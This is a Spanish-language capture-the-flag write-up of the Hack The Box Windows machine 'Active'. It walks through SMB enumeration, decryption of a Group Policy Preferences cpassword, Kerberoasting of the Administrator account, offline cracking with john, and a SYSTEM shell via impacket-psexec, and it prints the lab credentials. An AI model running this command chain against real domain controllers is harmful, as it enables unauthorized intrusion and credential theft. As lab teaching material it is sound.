Entrada

Active

Máquina Windows de categoría fácil con los siguientes temas:

  • Enumeración SMB
  • cPassword decrypt
  • Kerberoasting Attack
  • Cracking Kerberos TGS ticket

Enumeración

Escaneo de puertos y servicios con Nmap

Empleando el comando nmap -p- --open 10.10.10.100 podemos escanear todo el rango de puertos existentes y que solo nos reporte los puertos abiertos de la máquina.

Agregando las flags -sC y -sV a los puertos descubiertos, podemos lanzar una serie de scripts básicos de reconocimiento para ver los servicios que corren para esta máquina y sus respectivas versiones.

1
nmap -p 53,88,135,139,389,445,464,593,636,3268,3269,5722,9389,47001,49152,49153,49154,49155,49157,49158,49165,49166,49168 -sC -sV -oN target.txt 10.10.10.100
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
Nmap scan report for 10.10.10.100
Host is up (0.18s latency).

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1)
| dns-nsid: 
|_  bind.version: Microsoft DNS 6.1.7601 (1DB15D39)
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2023-07-02 20:58:34Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5722/tcp  open  msrpc         Microsoft Windows RPC
9389/tcp  open  mc-nmf        .NET Message Framing
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49152/tcp open  msrpc         Microsoft Windows RPC
49153/tcp open  msrpc         Microsoft Windows RPC
49154/tcp open  msrpc         Microsoft Windows RPC
49155/tcp open  msrpc         Microsoft Windows RPC
49157/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49158/tcp open  msrpc         Microsoft Windows RPC
49165/tcp open  msrpc         Microsoft Windows RPC
49166/tcp open  msrpc         Microsoft Windows RPC
49168/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1, cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2023-07-02T20:59:34
|_  start_date: 2023-07-02T20:46:13
| smb2-security-mode: 
|   210: 
|_    Message signing enabled and required

Gracias a que vemos los servicios de DNS, Kerberos, SMB y LDAP expuestos, podemos deducir que nos encontramos ante un DC (Domain Controller).

Con el comando crackmapexec smb 10.10.10.100 podemos ver información relevante del DC.

DC_details

  • OS: Windows 6.1 x64
  • Nombre: DC
  • Dominio: active.htb

Debido a que nos encontramos ante una máquina de Directorio Activo debemos agregar el dominio (active.htb) al archivo /etc/hosts de nuestra máquina de atacante.

Enumeración SMB

Si listamos los recursos disponibles de red con el comando smbmap -H 10.10.10.100, sin proporcionar autenticación, podemos ver que tenemos permiso de lectura en el recurso Replication. SMB1

Listando el contenido dentro de la carpeta Replication/active.htb con el comando smbmap -H 10.10.10.100 -r 'Replication/active.htb' vemos una serie de carpetas de lo que parece ser un backup de SYSVOL. SMB2

Credenciales GPP

GPP1

GPP (Group Policy Preferences) es una herramienta que proporciona algunas capacidades avanzadas a los administradores para configurar y gestionar la política de cuentas en una red de dominio de Windows.

Estas políticas les permiten configurar cuentas locales, e incrustar credenciales para varios propósitos que de otra manera podrían requerir una contraseña incrustada en un script. Así, cuando se genera una nueva preferencia de directiva de grupo (GPP), se crea un archivo xml (generalmente Groups.xml) con los datos de configuración, incluidas las contraseñas asociadas a la GPP, en el recurso compartido SYSVOL, que son carpetas de los controladores de dominio accesibles y legibles para todos los usuarios autenticados de dominio.

Como medida de seguridad, Microsoft cifra la contraseña mediante AES antes de almacenarla como “cpassword”. Pero las claves están disponibles públicamente en MSDN!.

fuente: https://infosecwriteups.com/attacking-gpp-group-policy-preferences-credentials-active-directory-pentesting-16d9a65fa01a

El archivo Groups.xml lo podemos encontrar en el directorio Replication/active.htb/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Preferences/Groups/Groups.xml GPP2

Despues de descargar el archivo con la flag --download en smbmap, podemos abrir el archivo XML y ver credenciales de un usuario valido del dominio!

1
smbmap -H 10.10.10.100 --download 'Replication/active.htb/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Preferences/Groups/Groups.xml'

GPP3

  • Usuario: SVC_TGS
  • Cpassword (contraseña cifrada): “edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ”

Explotación

cPassword decrypt

Una vez tenemos el archivo XML con el campo “cpassword”, podemos decifrar la contraseña utilizando la herramienta gpp-decrypt.

Solo necesitamos clonar el repositorio y darle permisos de ejecución al script chmod +x gpp-decrypt.py.

Luego con la flag -f le pasamos el archivo XML a decifrar.

1
python3 gpp-decrypt.py -f groups.xml

GPP4

Y tenemos credenciales en texto claro!

  • Usuario: SVC_TGS
  • Contraseña: GPPstillStandingStrong2k18

Podemos validar las credenciales obtenidas mediante crackmapexec

1
crackmapexec smb 10.10.10.111 -u 'SVC_TGS' -p 'GPPstillStandingStrong2k18'

crackmapexec-validate

Escalada de Privilegios

Kerberoasting Attack

Kerberos

El objetivo de Kerberoasting es recolectar tickets TGS para los servicios que estén asociados a una cuenta de usuario normal. Los tickets TGS están encriptados con claves derivadas de contraseñas de usuario. Como consecuencia, sus credenciales podrían ser crackeadas de forma offline.

Necesitas credenciales válidas del dominio.

Por lo tanto, para realizar Kerberoasting, sólo es necesaria una cuenta de dominio que pueda solicitar TGSs, que podría ser cualquiera, ya que no se requieren privilegios especiales.

Puedes saber si una cuenta de usuario está siendo utilizada como servicio cuando la propiedad “ServicePrincipalName” no es null.

Para ver los Service Principal Names que estén asociados a una cuenta de usuario normal, podemos utilizar la herramienta Get-UsersSPNs que es parte de la colleción de herramientas de impacket.

1
impacket-GetUserSPNs active.htb/SVC_TGS:GPPstillStandingStrong2k18 -dc-ip 10.10.10.100

get-userspn Vemos el Service Principal Name “active/CIFS:445” y que el usuario asociado al servicio es “Administrator”.

Para solicitar el ticket TGS del usuario Administrator, podemos agregar la flag -request.

1
impacket-GetUserSPNs active.htb/SVC_TGS:GPPstillStandingStrong2k18 -dc-ip 10.10.10.100 -request

tgs-request

Cracking Kerberos TGS Ticket

Ahora que tenemos el ticket TGS del usuario Administrator podemos intentar crackearlo de manera offline con la herramienta john y el diccionario rockyou.txt

1
john -w=rockyou.txt hash

cracking Debido a que la contraseña de Administrator se encontraba dentro del diccionario rockyou.txt, pudimos crackearla y ver la contraseña en texto claro.

  • Usuario: Administrator
  • Contraseña: Ticketmaster1968

Acceso como Domain Admin

Podemos validar las credenciales obtenidas mediante crackmapexec

1
crackmapexec smb 10.10.10.111 -u 'Administrator' -p 'Ticketmaster1968'

crackmapexec-validate2 Vemos que crackmapexec nos reporta un “(Pwn3d!)”, por lo que podemos conectarnos al DC mediante la herramienta wmiexec o psexec que es parte de la colleción de herramientas de impacket.

En esta ocasión vamos a ocupar psexec.

1
impacket-psexec active.htb/Administrator:Ticketmaster1968@10.10.10.100

psexec Y vemos que tenemos acceso como el usuario nt authority\system en el DC, lo que nos permite tener privilegios máximos dentro del dominio.

pwned

pwned!

Esta entrada está licenciada bajo CC BY 4.0 por el autor.